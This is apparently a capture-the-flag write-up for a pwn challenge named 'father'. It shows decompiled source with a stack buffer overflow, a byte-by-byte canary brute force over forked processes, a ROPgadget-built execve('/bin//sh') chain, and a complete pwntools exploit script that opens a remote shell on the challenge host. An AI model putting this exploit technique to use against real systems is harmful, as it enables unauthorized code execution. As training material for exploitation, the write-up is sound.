### Source code(from IDA)
```cpp
int __fastcall main(int argc, const char *argv, const char *envp)
{
int v3; // edx
int v4; // ecx
int v5; // r8d
int v6; // r9d
int v7; // edx
int v8; // ecx
int v9; // r8d
int v10; // r9d
int v11; // eax
int v12; // edx
int v13; // ecx
int v14; // r8d
int v15; // r9d
char v17; // [rsp+0h] [rbp-30h]
int v18; // [rsp+4h] [rbp-2Ch] BYREF
int v19; // [rsp+8h] [rbp-28h]
int v20; // [rsp+Ch] [rbp-24h]
char buf[8]; // [rsp+10h] [rbp-20h] BYREF
__int64 v22; // [rsp+18h] [rbp-18h]
unsigned __int64 v23; // [rsp+28h] [rbp-8h]
v23 = __readfsqword(0x28u);
(_QWORD )buf = 0LL;
v22 = 0LL;
v19 = 0;
init_0(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
banner();
_isoc99_scanf((unsigned int)"%d", (unsigned int)&v18, v3, v4, v5, v6, v17);
if ( v18 != 1 )
break;
v20 = fork();
++v19;
if ( v20 == -1 )
{
perror("fork");
exit(1LL);
}
if ( !v20 )
{
v11 = getpid();
printf((unsigned int)"I'm child, my id is %d\n", v11, v12, v13, v14, v15, v17);
puts("Say something to your father");
read(0, buf, 0x100uLL);
return 0;
}
wait(0LL);
}
if ( v18 != 2 )
break;
printf((unsigned int)"we create %d children !!!\n", v19, v7, v8, v9, v10, v17);
}
puts("Please help me find my children !!!!!");
read(0, buf, 0x100uLL);
return 0;
}
```
### Tools
1. [ROPGadget](https://github.com/JonathanSalwan/ROPgadget)
### Solution

After executing `checksec` under gef, we notice there is a canary. **To ensure the success of the attack, the first step is to deduce the canary word**.
The key to solving this problem is to repeatedly generate new processes through fork, attempting to [brute-force the canary value](https://introspelliam.github.io/2017/09/23/pwn/%E8%AE%BAcanary%E7%9A%84%E5%87%A0%E7%A7%8D%E7%8E%A9%E6%B3%95/) and printing the result.
Another key point in solving this problem is to use Return-Oriented Programming (ROP) to execute *execve("/usr/bin")*. Utilizing the ROPgadget tool, after installation, execute the command: ` ROPgadget --binary ./father --ropchain`. The steps to execute the shellcode through ROP will be displayed at the bottom:
```
#!/usr/bin/env python3
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = b''
p += pack('<Q', 0x0000000000410893) # pop rsi ; ret
p += pack('<Q', 0x00000000006d50e0) # @ .data
p += pack('<Q', 0x00000000004005cf) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x0000000000488931) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000410893) # pop rsi ; ret
p += pack('<Q', 0x00000000006d50e8) # @ .data + 8
p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000488931) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004006c6) # pop rdi ; ret
p += pack('<Q', 0x00000000006d50e0) # @ .data
p += pack('<Q', 0x0000000000410893) # pop rsi ; ret
p += pack('<Q', 0x00000000006d50e8) # @ .data + 8
p += pack('<Q', 0x000000000044c2a6) # pop rdx ; ret
p += pack('<Q', 0x00000000006d50e8) # @ .data + 8
p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004ae98f) # inc eax ; ret
p += pack('<Q', 0x00000000004013ec) # syscall
```
However, if all instructions are included in the payload, the length might exceed the limit and overwrite memory positions that shouldn't be overwritten. Therefore, the lengthy sequence of *inc eax; ret* in the middle should be replaced with a more concise approach.
Because *inc eax; ret* increments eax by 1 and then returns, and this sequence is executed a total of 59 times in this ROP, we can achieve the same effect by using *pop rax; ret* and then adding 59 to the value in rax.
To find the machine code of *pop rax; ret* ,using ROPgadget command:
`ROPgadget --binary ./father --only "pop|ret" |grep "pop rax"`

The instruction at *0x4005cf* is exactly the instruction we're finding, so we replace the code with:
```
p = b''
p += pack('<Q', 0x0000000000410893) # pop rsi ; ret
p += pack('<Q', 0x00000000006d50e0) # @ .data
p += pack('<Q', 0x00000000004005cf) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x0000000000488931) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000410893) # pop rsi ; ret
p += pack('<Q', 0x00000000006d50e8) # @ .data + 8
p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000488931) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004006c6) # pop rdi ; ret
p += pack('<Q', 0x00000000006d50e0) # @ .data
p += pack('<Q', 0x0000000000410893) # pop rsi ; ret
p += pack('<Q', 0x00000000006d50e8) # @ .data + 8
p += pack('<Q', 0x000000000044c2a6) # pop rdx ; ret
p += pack('<Q', 0x00000000006d50e8) # @ .data + 8
p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004005cf) # pop rax; ret
p += pack('<Q', 0x000000000000003b) # @ .data + 8
p += pack('<Q', 0x00000000004013ec) # syscall
```
#### Stack layout

#### Final solution
```python
from pwn import *
from struct import pack
r = remote("ctf.adl.tw",10011)
# print('success getting canary: ',canary.encode())
p = b''
p += pack('<Q', 0x0000000000410893) # pop rsi ; ret
p += pack('<Q', 0x00000000006d50e0) # @ .data
p += pack('<Q', 0x00000000004005cf) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x0000000000488931) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000410893) # pop rsi ; ret
p += pack('<Q', 0x00000000006d50e8) # @ .data + 8
p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000488931) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004006c6) # pop rdi ; ret
p += pack('<Q', 0x00000000006d50e0) # @ .data
p += pack('<Q', 0x0000000000410893) # pop rsi ; ret
p += pack('<Q', 0x00000000006d50e8) # @ .data + 8
p += pack('<Q', 0x000000000044c2a6) # pop rdx ; ret
p += pack('<Q', 0x00000000006d50e8) # @ .data + 8
p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004005cf) # pop rax; ret
p += pack('<Q', 0x000000000000003b) # @ .data + 8
p += pack('<Q', 0x00000000004013ec) # syscall
# p.sendline(b"1")
# p.recvuntil(b"Say something to your father")
# print('pass1')
canary = '\x00'
r.recvuntil(b'out')
for j in range(7):
for i in range(0x100):
r.sendline(b'1')
r.recvuntil(b'father')
r.send('a'*24 + canary + chr(i))
a = r.recvuntil(b'out')
#print('current i', i)
#print('the received a:', a)
if b'smashing' not in a:
canary += chr(i)
print(hex(i))
break
r.send(b'1\n')
p_final = flat('a'*24, canary, 'a'*8, p)
r.sendafter(b'father', p_final)
r.interactive()
```